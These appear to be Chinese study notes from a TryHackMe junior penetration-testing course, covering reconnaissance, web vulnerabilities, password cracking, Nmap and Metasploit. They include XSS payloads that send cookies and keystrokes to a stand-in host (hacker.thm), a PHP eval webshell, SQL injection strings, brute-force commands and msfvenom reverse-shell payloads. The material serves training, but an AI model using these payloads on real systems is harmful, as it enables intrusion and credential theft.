VPN Connect Issue

1
2
TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
TLS Error: TLS handshake failed

reason:A perimeter firewall on the server’s network is filtering out incoming OpenVPN packets (by default OpenVPN uses UDP or TCP port number 1194)(省流:被墙了

解决方案:在配置中加socks-proxy 127.0.0.1 7890,走clash的前置代理

Jr Penetration Tester

信息打点

  • web源码(注释、前端元素、JS断点调试)

  • 测试网站交互部分、功能点

  • 路径(Content Discovery)
    1、robots.txt
    2、默认图标泄露网站开发框架 curl {URL} | md5sum得图标MD5值到网站查询
    3、Sitemap.xml
    4、HTTP响应头 curl {URL} -v
    5、浏览器搜索
    6、Wappalyzer插件
    7、GitHub
    8、自动化扫描工具dirsearchffufdirbGobuster

常见搜索过滤器
site : returns results only from the specified website address site:tryhackme.com
inurl:returns results that have the specified word in the URL inurl:admin
filetype:returns results which are a particular file extension filetype:pdf
intitle:returns results that contain the specified word in the title intitle:admin

  • 子域名
    1、爆破、OSINT、DNS记录(Sublist3r网站、dnsrecon dnsrecon -t brt -d acmeitsupport.thm
    2、搜索引擎-site:www.tryhackme.com site:*.tryhackme.com

网络安全

  • 被动侦察(无需直接连接到目标即可收集有关目标的信息)
    1、whois记录(通过网站或whois DOMAIN_NAME):获得注册商(该域名通过哪个注册商注册)、注册人的联系信息如姓名、组织、地址、电话等。(除非通过隐私服务隐藏)、域名首次注册的时间是什么时候、上次更新的时间是什么时候、什么时候需要续订、要求哪个服务器解析域名
    2、通过nslookupdig利用DNS查询域名的A(IPV4)、AAAA(IPV6)、CNAME、MX、SOA、TXT记录
    3、DNSDumpster(可查询子域名)
    4、Shodan.io(IP地址、托管公司、地理位置、服务器类型和版本)

  • 主动侦察
    1、ping IP确保目标系统在线,ping 数据包被正确路由且未被任何防火墙阻止,则远程系统应发回 ICMP Echo Reply
    2、traceroute IP找到数据包从您的系统到目标主机所经过的路由器或跳数的 IP 地址。
    3、telnet IP PORT远程系统通信,可以连接到在TCP上运行的任何服务,除非使用加密,使用时需要指定协议,如发现有关监听端口 80 的 Web 服务器的更多信息

    1
    2
    GET / HTTP/1.1
    host: telnet

    如果我们连接到邮件服务器,则需要根据协议使用适当的命令,例如SMTP和POP3
    4、Netcat:支持 TCP 和UDP协议,可以作为连接到侦听端口的客户端;或充当侦听您选择的端口的服务器

    -l 聆听模式
    -p 指定端口号
    -n 仅限数字;无法通过DNS解析主机名
    -v 详细输出(可选,但有助于发现任何错误)
    -vv 非常详细(可选)
    -k 客户端断开连接后继续监听

    1、-p应该出现在您想要监听的端口号之前。
    2、-n将避免DNS查找和警告。
    3、小于 1024 的端口号需要 root 权限才能监听。

  • 常见协议

Protocol TCP Port Application(s) Data Security
FTP 21 文件传输 Cleartext
FTPS 990 文件传输 Encrypted
HTTP 80 网页传输 Cleartext
HTTPS 443 网页传输 Encrypted
IMAP 143 电子邮件(MDA) Cleartext
IMAPS 993 电子邮件(MDA) Encrypted
POP3 110 电子邮件(MDA) Cleartext
POP3S 995 电子邮件(MDA) Encrypted
SFTP 22 文件传输 Encrypted
SSH 22 远程连接和文件传输 Encrypted
SMTP 25 电子邮件(MTA) Cleartext
SMTPS 465 电子邮件(MTA) Encrypted
Telnet 23 远程连接 Cleartext

ftp协议可通过ftp <ip> [port]连接后输入用户密码后执行FTP命令

  • 针对密码和明文流量的攻击(可用TLS、SSH加密)

    1、嗅探攻击:使用网络数据包捕获工具收集目标的信息,常用工具如下

    • Tcpdump是一个免费的开源命令行界面 ( CLI ) 程序,已被移植到许多操作系统上。

    • Wireshark是一个免费的开源图形用户界面 (GUI) 程序,适用于多种操作系统,包括Linux、macOS 和 MS Windows。

    • Tshark 是Wireshark 的CLI替代品。

    2、中间人攻击(MITM):所选协议不提供安全身份验证或完整性检查容易受到这种攻击,许多工具可以帮助你实施此类攻击,例如EttercapBettercap

  • 弱密码攻击

    1. 社工猜测密码
    2. 字典攻击
    3. 暴力攻击

    工具:Hydra:一般命令行语法是:hydra -l <username> -P <wordlist.txt> <server> <service>

    选项 解释
    -l username 提供登录名
    -P WordList.txt 指定要使用的密码列表
    server service 设置要攻击的服务器地址和服务
    -s PORT 非默认服务端口号情况下的使用
    -V或者-vV 显示正在尝试的用户名和密码组合
    -d 如果详细输出没有帮助,则显示调试输出

认证绕过

  • FUZZ出已注册用户列表
    example : ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.88.99/customers/signup -mr "username already exists"

  • 爆破密码
    ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.88.99/customers/login -fc 200

  • 逻辑漏洞

  • Cookie伪造

IDOR漏洞

  • 修改地址栏参数如/user/details?user_id=123可访问他人信息
  • 参数挖掘
  • F12网络查看调用接口返回JSON数据

文件包含

  • 本地文件包含(任读)
    1、路径穿越
    2、%00空字节截断后缀(not working with PHP 5.3.4 and above)
    3、/etc/passwd/.
    4、双写绕过....//....//
    5、include函数filter伪协议任读,data伪协议命令执行

  • 远程文件包含(RCE)
    要求允许攻击者将外部 URL 注入include函数。allow_url_fopen选项需要打开
    远程包含一句话木马即可<?php eval($_POST[1]);?>

Steps for testing for LFI
1、Find an entry point that could be via GET, POST, COOKIE, or HTTP header values!
2、Enter a valid input to see how the web server behaves.
3、Enter invalid inputs, including special characters and common file names.
4、Don’t always trust what you supply in input forms is what you intended! Use either a browser address bar or a tool such as Burpsuite.
5、Look for errors while entering invalid input to disclose the current path of the web application; if there are no errors, then trial and error might be your best option.
6、Understand the input validation and if there are any filters!
7、Try the inject a valid entry to read sensitive files

SSRF漏洞(服务器端请求伪造)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

常见标志:

  • When a full URL is used in a parameter in the address bar
    在地址栏的参数中使用完整URL时
  • A hidden field in a form
    隐藏字段:表单中的隐藏字段
  • A partial URL such as just the hostname(API调用)
  • perhaps only the path of the URL

XSS跨站脚本攻击

常见目的

  • 验证XSS存在:<script>alert('XSS');</script>

  • Session窃取:<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

  • 获取键盘输入:<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

  • 调用特定网络资源或JS函数,如修改重置密码邮箱

    <script>user.changeEmail('attacker@hacker.thm');</script>

常见类型

  • 反射型XSS
  • 存储型XSS
  • DOM型XSS

命令注入

  • &;&&连接两条命令
  • 无回显RCE常用检测方式sleepping延时,>重定向输出
  • 反弹shell,利用curlDNS外带
  • windows常用命令dirtimeout常见payload参考

SQL注入

数据库类型

  • Relational databases
  • Non-Relational databases(NoSQL):不使用表、列、行来存取数据的数据库,不需构造特定的数据库布局,每行数据可包含不同的信息,MongoDB, Cassandra and ElasticSearch

注入类型

1、In-Band

  • 报错注入
  • 联合注入

常规流程(以MySQL为例)

1、测试查询列数
0 UNION SELECT 1,2,3
2、查库名
0 UNION SELECT 1,2,database()
3、查表名
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'database_name'
4、查列名
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'table_name'
5、获得信息

2、盲注

  • 万能密码登录
  • 布尔盲注
  • 时间盲注

admin123' UNION SELECT 1,2,3;--
admin123' UNION SELECT 1,2,3 where database() like 's%';--
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

admin123' UNION SELECT SLEEP(5),2;--
admin123' UNION SELECT SLEEP(1),2 where database() like 's%';--

3、Out-of-band

  • DNSLog外带

工具-Burp Suite

ctrl+shift+模块首字母快捷切换模块

拦截HTTPS流量需配置CA证书

  • Target:显示测试域,可用Scope settings过滤不需要的流量,在site map中右键将其加入作用域,在Proxy代理设置中可选择只拦截范围内请求

  • Repeater:修改和重放在Proxy中拦截的请求

    1、左上方箭头可浏览修改历史纪录
    2、response支持四种显示模式:Pretty(略微增强可读性)、Raw(原始)、Hex(十六进制)、Render(渲染),\n可显示不可见字符如\n\r,可指示HTTP标头
    3、Inspector部分可以直观修改数据包中与请求有关的部分如查询参数,主题参数,请求头等

  • Intruder:FuZZ测试和暴力破解
    1、Position:选择一种攻击类型,并配置我们要在请求模板中插入有效载荷的位置(§包裹)。
    2、Payloads:选择有效载荷的值,插入模板的方式取决于选择的攻击类型,能够修改 Intruder 对有效载荷的行为,例如为每个有效载荷定义预处理规则(例如,添加前缀或后缀、执行匹配和替换,或根据定义的正则表达式跳过有效载荷)
    3、Settings:配置攻击行为。主要处理 Burp 如何处理结果和攻击本身。例如,我们可以标记包含特定文本的请求或定义 Burp 对重定向 (3xx) 响应的响应。
    4、Burp Macros定义可以一组重复的操作(宏),例如在每次请求之前执行,提取会话 cookie 和 loginToken 的唯一值,并在我们攻击的每个后续请求中替换它们。

攻击方式
Sniper :默认且最常用的选项,它会循环遍历有效载荷,每次将一个有效载荷插入请求中定义的每个位置。狙击手攻击以线性方式遍历所有有效载荷,从而实现精确而有针对性的测试。
Battering ram:它会同时发送所有有效载荷,每个有效载荷都插入其各自的位置。这种攻击类型在测试竞争条件或需要同时发送有效载荷时很有用。
Pitchfork:允许同时测试具有不同有效载荷的多个位置。它允许测试人员定义多个有效载荷集,每个有效载荷集与请求中的特定位置相关联。当存在需要单独测试的不同参数时,Pitchfork 攻击非常有效。
Cluster bomb:集束炸弹攻击类型结合了狙击手和干草叉攻击方法。它对每个位置执行类似狙击手的攻击,但同时测试每组的所有有效载荷。当多个位置具有不同的有效载荷并且我们想要一起测试它们时,这种攻击类型很有用。

  • decoder:解码器,支持文本,十六进制编辑,编解码,Hash,智能解码,但我为什么不用其他工具
  • Comparer:比较器
  • Sequencer:用于评估令牌(Cookie、session)的随机性,若不安全,理论可以预测接下来的令牌值
  • Organizer:帮助您存储和注释您可能希望稍后重新访问的HTTP请求副本。对于组织渗透测试工作流程特别有用
  • Extender:扩展接口,在BApp Store中下载扩展,包含 Jython Interpreter JAR 文件,可使用Python模块

工具- John the Ripper

最知名、最受欢迎和用途最广泛的哈希破解工具之一

哈希函数被设计为单向函数,John the Ripper(或者通常缩写为 John)通过字典攻击对大量不同类型的哈希进行快速暴力攻击

字典

为了对哈希进行字典攻击,您需要一个可以进行哈希处理和比较的单词列表,不出所料,这被称为单词列表。有许多不同的单词列表,可以在 SecLists 存储中找到一个不错的集合。

在kali/usr/share/wordlists目录中。有一系列字典

从 2009 年的 rockyou.com 网站数据泄露事件中获得的rockyou.txt

基本哈希破解

基本语法

1
john [options] [path to file]

[path to file]:包含您要破解的哈希的文件,如果它位于同一目录中,则无需命名路径,只需命名文件即可。

自动破解

John 具有内置功能来检测给定的哈希类型,并选择适当的规则和格式来为您破解它,这并不总是最好的主意,因为它可能不可靠 - 但如果你无法识别你正在使用的哈希类型,只是想尝试破解它,这可能是一个不错的选择!为此,我们使用以下语法:

1
john --wordlist=[path to wordlist] [path to file]

--wordlist=:指定使用单词列表,从您在以下路径提供的文件中读取…

识别哈希

有时 John 不会很好地自动识别和加载哈希,没关系!我们可以使用其他工具来识别哈希,然后设置 john 使用特定格式。有多种方法可以做到这一点,例如使用在线哈希标识网站。或hash-identifier工具,这是一种非常易于使用的 Python 工具,它会告诉您输入的哈希可能属于哪些不同类型的哈希,如果第一个哈希失败,它会为您提供更多选择。

要使用 hash-identifier,您只需使用以下命令从 gitlab 中提取 python 文件: wget https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py

然后只需启动它python3 hash-id.py,然后输入您要识别的哈希值 - 它就会为您提供可能的格式!

特定格式破解

一旦确定了要处理的哈希值,就可以告诉约翰在破解提供的哈希值时使用它,使用以下语法:

1
john --format=[format] --wordlist=[path to wordlist] [path to file]

--format=: 这是用来告诉 John 你给它一个特定格式的哈希值的标志,并使用以下格式来破解它

例子:john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt

注意:当您告诉约翰使用格式时,如果您处理的是标准哈希类型,例如上例中的 md5,则必须在其前面加上前缀,以 raw-告诉约翰您处理的是标准哈希类型,尽管这并不总是适用。要检查是否需要添加前缀,您可以使用列出约翰的所有格式,然后john --list=formats手动检查,或者使用类似 的 grep 查找您的哈希类型john --list=formats | grep -iF "md5"

常见用法

破解Windows身份验证哈希

NTLM加密:NThash 是现代 Windows 操作系统机器存储用户和服务密码的哈希格式。它也通常被称为“NTLM”,它引用了以前版本的 Windows 哈希密码格式“LM”,因此称为“NT/LM”。

您可以通过转储 Windows 计算机上的 SAM 数据库、使用 Mimikatz 等工具或从 Active Directory 数据库 NTDS.dit 获取 NTHash/NTLM 哈希。您可能不必破解哈希即可继续提升权限 - 因为您通常可以进行“传递哈希”攻击,但如果密码策略较弱,哈希破解有时是一种可行的选择。

破解/etc/shadow哈希

John 对于数据格式的要求非常严格,因此,为了破解 /etc/shadow 密码,您必须将其与 /etc/passwd 文件结合起来,以便 John 理解所给出的数据。为此,我们使用 John 工具套件中内置的一个名为 unshadow 的工具。unshadow 的基本语法如下:

1
unshadow [path to passwd] [path to shadow]

然后,我们可以将 unshadow 的输出(在我们的示例用例中称为“unshadowed.txt”)直接输入到 John 中。我们不需要在这里指定模式,因为我们已经专门为 John 进行了输入,但是在某些情况下,您需要像我们之前使用的那样指定格式:--format=sha512crypt

single模式破解

John 还有另一种模式,称为单一破解模式。在此模式下,John 仅使用用户名中提供的信息,通过稍微更改用户名中包含的字母和数字,尝试启发式地找出可能的密码。

如果我们采用用户名:Markus

一些可能的密码可能是:

  • Markus1, Markus2, Markus3 (etc.)
  • MArkus, MARkus, MARKus (etc.)
  • Markus!, Markus$, Markus* (etc.)

John 根据输入的信息构建自己的字典,并使用一组称为“重排规则”的规则,这些规则定义了如何改变开头的单词,以根据您要破解的目标的相关因素生成单词表。这是利用用户名或他们登录的服务信息来构造弱密码。

要使用单一破解模式,我们使用与迄今为止大致相同的语法,例如,如果我们想破解名为“Mike”的用户的密码,使用单一模式,我们将使用:

1
john --single --format=[format] [path to file]

--single- 这个标志让john知道你想使用单一哈希破解模式。

如果您在单一破解模式下破解哈希,则需要更改您提供给约翰的文件格式,以便它了解要从哪些数据创建单词列表。您可以通过在哈希前面添加哈希所属的用户名来实现这一点,因此根据上述示例,我们将更改文件 hashes.txt

从:

1efee03cdcb96d90ad48ccc7b8666033

mike:1efee03cdcb96d90ad48ccc7b8666033

自定义规则

当我们探索 John 在单一破解模式下能做什么时,您可能对一些好的密码混合模式或您的密码经常使用的模式有一些想法,这些模式可以通过某种混合模式复制。好消息是您可以定义自己的规则集,John 将使用这些规则动态创建密码。当您了解有关目标密码结构的更多信息时,这尤其有用。

许多组织会要求一定程度的密码复杂度来尝试抵御字典攻击,这意味着如果您在某个地方创建帐户,您可能会收到一条提示,告诉您密码必须至少包含以下内容之一:

  • 大写字母
  • 数字
  • 符号

如何创建自定义规则

自定义规则在文件中定义john.conf,通常位于/etc/john/john.conf如果您使用包管理器安装了 John 或使用 TryHackMe Attackbox 从源代码make构建/opt/john/john.conf

让我们回顾一下这些自定义规则的语法,使用上面的示例作为我们的目标模式。请注意,您可以在这些规则中定义大量精细的控制,我建议您查看此处的wiki ,以便全面了解您可以使用的修饰符类型,以及更多规则实现的示例。

第一行:

[List.Rules:THMRules]- 用于定义规则的名称,您将使用它来将自定义规则作为 John 参数来调用。

然后,我们使用正则表达式样式模式匹配来定义单词中将被修改的位置,同样,我们将仅在这里介绍基本和最常见的修饰符:

Az- 取出单词并将其与你定义的字符附加在一起

A0- 取出单词并在其前面添加您定义的字符

c- 根据位置将字符大写

这些可以组合使用来定义您想要修改的单词中的位置和内容。

最后,我们需要定义应该附加、添加或以其他方式包含哪些字符,我们通过按[ ]使用顺序在方括号中添加字符集来实现。这些直接遵循双引号内的修饰符模式" "。以下是一些常见示例:

[0-9]- 将包括数字 0-9

[0]- 仅包含数字 0

[A-z]- 包含大写和小写

[A-Z]- 仅包含大写字母

[a-z]- 仅包含小写字母

[a]- 仅包含

[!£$%@]- 将包括符号 !£$%@

综上所述,为了从规则中生成一个与示例密码“Polopassword1!”相匹配的单词表(假设单词 polopassword 在我们的单词表中),我们将创建一个如下所示的规则条目:

1
2
[List.Rules:PoloPassword]
cAz"[0-9] [!£$%@]"

为了:

将首字母大写 -c

附加到单词末尾 -Az

0-9 范围内的数字 -[0-9]

后面跟着一个符号,它是[!£$%@]

使用自定义规则

然后我们可以使用该标志将此自定义规则作为 John 参数调用 --rule=PoloPassword

作为完整命令:john --wordlist=[path to wordlist] --rule=PoloPassword [path to file]

值得注意的是,如果您正在编写规则,我发现讨论模式会很有帮助 - 如上所示,这同样适用于编写 RegEx 模式。

Jumbo John 已经附带了大量自定义规则,其中包含几乎所有情况下使用的修饰符。如果您遇到困难,请尝试查看这些规则 [大约第 678 行],如果您的语法无法正常工作。

破解受密码保护的 Zip 文件

Zip2John

与我们之前使用的 unshadow 工具类似,我们将使用 zip2john 工具将 zip 文件转换为 John 能够理解并希望破解的哈希格式。基本用法如下:

1
zip2john [options] [zip file] > [output file]

[options]- 允许您将特定的校验和选项传递给 zip2john,这通常不是必要的

[zip file]- 您希望获取哈希值的 zip 文件路径

>- 这是输出控制器,我们用它将该文件的输出发送到…

[output file]- 这是将存储输出的文件

示例用法

1
zip2john zipfile.zip > zip_hash.txt

然后,我们可以获取示例用例中从 zip2john 输出的名为“zip_hash.txt”的文件,并且像对 unshadow 所做的那样,将其直接输入到 John 中,因为我们已经专门为其进行了输入。

1
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

破解受密码保护的 RAR 档案

我们可以使用与上一个任务中类似的过程来获取 rar 存档的密码。如果您不熟悉,rar 存档是由 Winrar 存档管理器创建的压缩文件。就像 zip 文件一样,它们压缩各种文件夹和文件。

Rar2John

与我们刚刚使用的 zip2john 工具几乎相同,我们将使用 rar2john 工具将 rar 文件转换为 John 能够理解的哈希格式。基本语法如下:

1
rar2john [rar file] > [output file]

rar2john- 调用 rar2john 工具

[rar file]- 您希望获取哈希值的 rar 文件的路径

>- 这是输出控制器,我们用它将该文件的输出发送到…

[output file]- 这是将存储输出的文件

示例用法

rar2john rarfile.rar > rar_hash.txt

破解SSH密钥密码

使用 John 破解id_rsa 文件的SSH私钥密码。除非另有配置,否则您将使用密码验证您的SSH登录。但是,您可以配置基于密钥的身份验证,这允许您使用私钥 id_rsa 作为身份验证密钥通过SSH登录到远程计算机。但是,这样做通常需要密码 - 在这里我们将使用 John 破解此密码以允许使用密钥通过SSH进行身份验证。

SSH2John

顾名思义,ssh2john 将您用于登录 SSH 会话的 id_rsa 私钥转换为 john 可以使用的哈希格式。

1
ssh2john [id_rsa private key file] > [output file]

ssh2john-调用 ssh2john 工具

[id_rsa private key file]- 你想要获取哈希值的 id_rsa 文件的路径

>- 这是输出控制器,我们用它将该文件的输出发送到…

[output file]- 这是将存储输出的文件

示例用法

ssh2john id_rsa > id_rsa_hash.txt

工具-Nmap

  • 发现在线主机

    扫描类型 示例命令
    ARP扫描 sudo nmap -PR -sn MACHINE_IP/24
    ICMP 回显扫描 sudo nmap -PE -sn MACHINE_IP/24
    ICMP 时间戳扫描 sudo nmap -PP -sn MACHINE_IP/24
    ICMP 地址掩码扫描 sudo nmap -PM -sn MACHINE_IP/24
    TCP SYN Ping 扫描 sudo nmap -PS22,80,443 -sn MACHINE_IP/30
    TCP ACK Ping 扫描 sudo nmap -PA22,80,443 -sn MACHINE_IP/30
    UDP Ping 扫描 sudo nmap -PU53,161,162 -sn MACHINE_IP/30

    -sn如果您只对主机发现感兴趣,而不对端口扫描感兴趣, 请记得添加。省略-sn将使Nmap默认对活动主机进行端口扫描。

    -n表示无需DNS查找,-R表示反向DNS查找所有主机

  • 端口扫描

    六种端口状态

    1. Open:表示服务正在监听指定端口。
    2. Closed:表示没有服务在监听指定端口,尽管该端口可以访问。可访问是指该端口可以访问,并且未被防火墙或其他安全设备/程序阻止。
    3. Filtered:表示Nmap无法确定端口是打开还是关闭,因为端口无法访问。此状态通常是由于防火墙阻止Nmap到达该端口。Nmap的数据包可能被阻止到达端口;或者响应被阻止到达Nmap的主机。
    4. Unfiltered:表示Nmap无法确定端口是打开还是关闭,尽管该端口可以访问。使用 ACK 扫描时会遇到此状态-sA
    5. Open|Filtered:这意味着Nmap无法确定该端口是开放的还是被过滤的。
    6. Closed|Filtered:这意味着Nmap无法决定端口是否关闭或被过滤。
端口扫描类型 示例命令
TCP连接扫描 nmap -sT <ip>
TCP SYN 扫描(需要特权账户) sudo nmap -sS <ip>
UDP扫描(慢) sudo nmap -sU <ip>

这些扫描类型应该可以帮助您开始发现目标主机上正在运行的 TCP 和UDP服务。

选项 目的
-p- 所有端口
-p1-1023 扫描端口 1 至 1023
-F 100 个最常见的端口
-r 按连续顺序扫描端口
-T<0-5> -T0 最慢,T5 最快
--max-rate 50 速率 <= 50 数据包/秒
--min-rate 15 速率 >= 15 数据包/秒
--min-parallelism 100 至少 100 个并行探针
  • 高级扫描

通过设置TCP报头中不同标志位诞生的其他扫描方式

端口扫描类型 示例命令
TCP空扫描 sudo nmap -sN 10.10.121.160
TCP FIN 扫描 sudo nmap -sF 10.10.121.160
TCP圣诞节扫描 sudo nmap -sX 10.10.121.160
TCP Maimon 扫描 sudo nmap -sM 10.10.121.160
TCP ACK 扫描 sudo nmap -sA 10.10.121.160
TCP窗口扫描 sudo nmap -sW 10.10.121.160
自定义TCP扫描 sudo nmap --scanflags URGACKPSHRSTSYNFIN 10.10.121.160
欺骗源 IP sudo nmap -S SPOOFED_IP 10.10.121.160
欺骗 MAC 地址 --spoof-mac SPOOFED_MAC
诱饵扫描 nmap -D DECOY_IP,ME 10.10.121.160
空闲(僵尸)扫描 sudo nmap -sI ZOMBIE_IP 10.10.121.160
将 IP 数据分片为 8 个字节 -f
将 IP 数据分片为 16 个字节 -ff
选项 目的
--source-port PORT_NUM 指定源端口号
--data-length NUM 附加随机数据以达到给定长度

Null、FIN 和 Xmas 扫描会引发来自关闭端口的响应,ACK 和 Window 扫描根据哪些 ACK 数据包导致响应,了解哪些端口未被防火墙阻止,换句话说暴露的是防火墙规则,而不是服务

欺骗IP扫描需要能够截获发向伪造IP的网络流量,伪造Mac地址扫描需要与目标在同一子网(同一以太网或WiFi)

僵尸扫描通过空闲主机返回的IP ID值判断端口是否打开

选项 目的
--reason 解释Nmap如何得出结论
-v 详细信息
-vv 更加详细
-d 调试
-dd 更多调试细节
  • 服务检测
选项 意义
-sV 确定开放端口的服务/版本信息
-sV --version-light 尝试最有可能的探测(2)
-sV --version-all 尝试所有可用的探测器(9)
  • 操作系统检测

-O选项检测目标的操作系统并推测内核版本,但结果可能不准确

  • 跟踪路由

--traceroute选项找到和目标之间的路由器

  • 脚本

Nmap使用 Lua 语言提供对脚本的支持,脚本储存在/usr/share/nmap/scripts路径下

选项 意义
--script=SCRIPTS 要运行的Nmap脚本
-sC或者--script=default 运行默认脚本

有些脚本会对服务发起暴力攻击,而有些脚本会发起DoS攻击并利用系统漏洞,谨慎使用

  • 保存输出
选项 意义
-A 相当于-sV -O -sC --traceroute
-oN 以正常格式保存输出
-oG 以 grepable 格式保存输出
-oX 以XML格式保存输出
-oA 以普通、XML和 Grepable 格式保存输出

普通模式便于阅读,grepable模式适用于探测多个目标,利用grep指令匹配关键字

关于漏洞

漏洞种类

  • 操作系统:常导致提权
  • 基于错误配置:常造成信息泄露等
  • 弱密码或默认密码
  • 应用程序逻辑
  • 人为因素

善用搜索引擎和漏洞库(NVD(国家漏洞数据库)漏洞数据库Rapid7、Github)或Kali Linux工具Searchsploit(Exploit-DB 的离线副本)等资源查找可利用的漏洞,自动化工具如Nessus](https://www.tenable.com/products/nessus)、Metasploit等

相关概念

  • Exploit(Exp):利用目标系统上存在的漏洞的一段代码。
  • Payload:如果我们希望漏洞利用达到我们想要的结果(获得目标系统的访问权限、读取机密信息等),我们需要使用有效载荷。有效载荷是在目标系统上运行的代码。
  • Vulnerability:影响目标系统的设计、编码或逻辑缺陷。漏洞的利用可能导致机密信息泄露或允许攻击者在目标系统上执行代码。

工具-Metasploit

Metasploit是最广泛使用的漏洞利用框架,一款功能强大的工具,可用于信息收集、扫描、漏洞利用、漏洞开发、后漏洞利用等。

使用Metasploit主要与控制台msfconsole交互,模块是Metasploit框架内的小组件,用于执行特定任务,例如利用漏洞、扫描目标或执行暴力攻击。

  • Auxiliary(辅助模块):任何支持模块,例如扫描仪、爬虫和模糊器,都可以在这里找到。
  • Encoders(编码器):允许您对Exp和Payload进行编码
  • Evasion(逃避):逃避防病毒软件的尝试
  • Exploits:按照目标系统整齐地组织起来
  • Nop
  • Payloads:adapters、singles、stagers 和 stages四种不同payload包括内联和分阶段等
  • Post:在上述渗透测试过程的最后阶段,即后期开发中发挥作用

输入msfconsole指令进入msf控制台,可以像常规命令行 shell 一样使用,但不允许您使用常规命令行的某些功能(例如不支持输出重定向)

  • use+所选模块文件名进入工作环境,例如

    1
    use exploit/windows/smb/ms17_010_eternalblue 

    可以通过输入 show options 命令来查看,将打印与我们之前选择的漏洞相关的选项(显示此漏洞需要设置的参数等)。

  • set:所有参数都使用相同的命令语法设置:set PARAMETER_NAME VALUEunset取消设置

  • show:命令可在任何上下文中使用,后跟模块类型(辅助、有效载荷、漏洞利用等)以列出可用模块。setg 命令设置一个全局值,该值将一直使用,直到您退出Metasploit或使用该命令清除它 unsetg

    例如msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads,列出了可与 ms17-010 Eternalblue 漏洞利用一起使用的有效载荷

    如果从 msfconsole 提示符使用,该show 命令将列出所有模块。

  • back命令离开当前上下文

  • info 可以通过在模块上下文中 键入命令来获取有关任何模块的更多信息。

  • search:此命令将在 Metasploit Framework 数据库中搜索与给定搜索参数相关的模块。您可以使用CVE编号、漏洞名称(eternalblue、heartbleed 等)或目标系统进行搜索。

可以使用命令 use 后跟结果行开头的数字来使用搜索结果中返回的任何模块。(例如,use 0 而不是use auxiliary/admin/smb/ms17_010_command

可以使用类型、平台等关键词来引导搜索功能。
例如,如果我们希望搜索结果仅包含辅助模块,我们可以将类型设置为辅助search type:auxiliary telnet

  • show payloads列出该漏洞所有payloads,用set payload <id>选择

  • 设置完所有模块参数后,您可以使用命令启动模块exploitexploit -z
    一些模块支持该 check 选项。这将检查目标系统是否存在漏洞,而无需利用它

  • 一旦漏洞被成功利用,就会创建一个会话。这是目标系统和Metasploit之间建立的通信渠道。
    您可以使用该 background命令将会话提示符置于后台并返回到 msfconsole 提示符。
    sessions 可以从 msfconsole 提示符或任何上下文中使用该 命令来查看现有会话。
    要与任何会话交互,您可以使用sessions -i <id>命令后跟所需的会话编号

永恒之蓝

常用模块

  • Scan

扫描目标系统和网络上的开放端口。您可以使用该search portscan 命令列出可用的端口扫描模块。

  • **CONCURRENCY:**同时扫描的目标数量。
  • **PORTS:**要扫描的端口范围。Metasploit将默认扫描从 1 到 10000 的端口号。
  • **RHOSTS:**要扫描的目标或目标网络。
  • **THREADS:**同时使用的线程数。线程越多,扫描速度越快。

可以直接从 msfconsole 提示符执行Nmap扫描,Metasploit可能不是您的首选。但是, Metasploit的许多模块使其成为扫描阶段的有用工具。

  • Metasploit数据库

与单个目标交互时不需要,多个目标时可以简化项目管理并避免设置参数值时可能出现的混淆

启动数据库systemctl start postgresql并初始化msfdb init

msfconsole中启动并检查数据库状态db_status

workspace 列出可用的工作区,使用参数添加工作区-a或使用参数删除工作区-d其他可用选项-h

  • 漏洞扫描:Metasploit可利用相应模块快速识别一些易于识别和利用的漏洞

Msfvenom

用于生成Payload、木马等

msfvenom -l payloads展示所有可生成有效载荷

msfvenom --list formats列出支持的输出格式

可用编码器编码,如下示例

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64

触发反弹shell可以用use exploit/multi/handler模块接收(无法用nc捕获),不同系统采用不同payload

常用payload:

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Meterpreter

获得会话后利用Meterpreter(具有一定免杀作用)进行后期利用

核心命令

  • background:当前会话的背景
  • exit:终止Meterpreter会话
  • guid:获取会话 GUID(全局唯一标识符)
  • help:显示帮助菜单
  • info:显示有关 Post 模块的信息
  • irb:在当前会话中打开交互式 Ruby shell
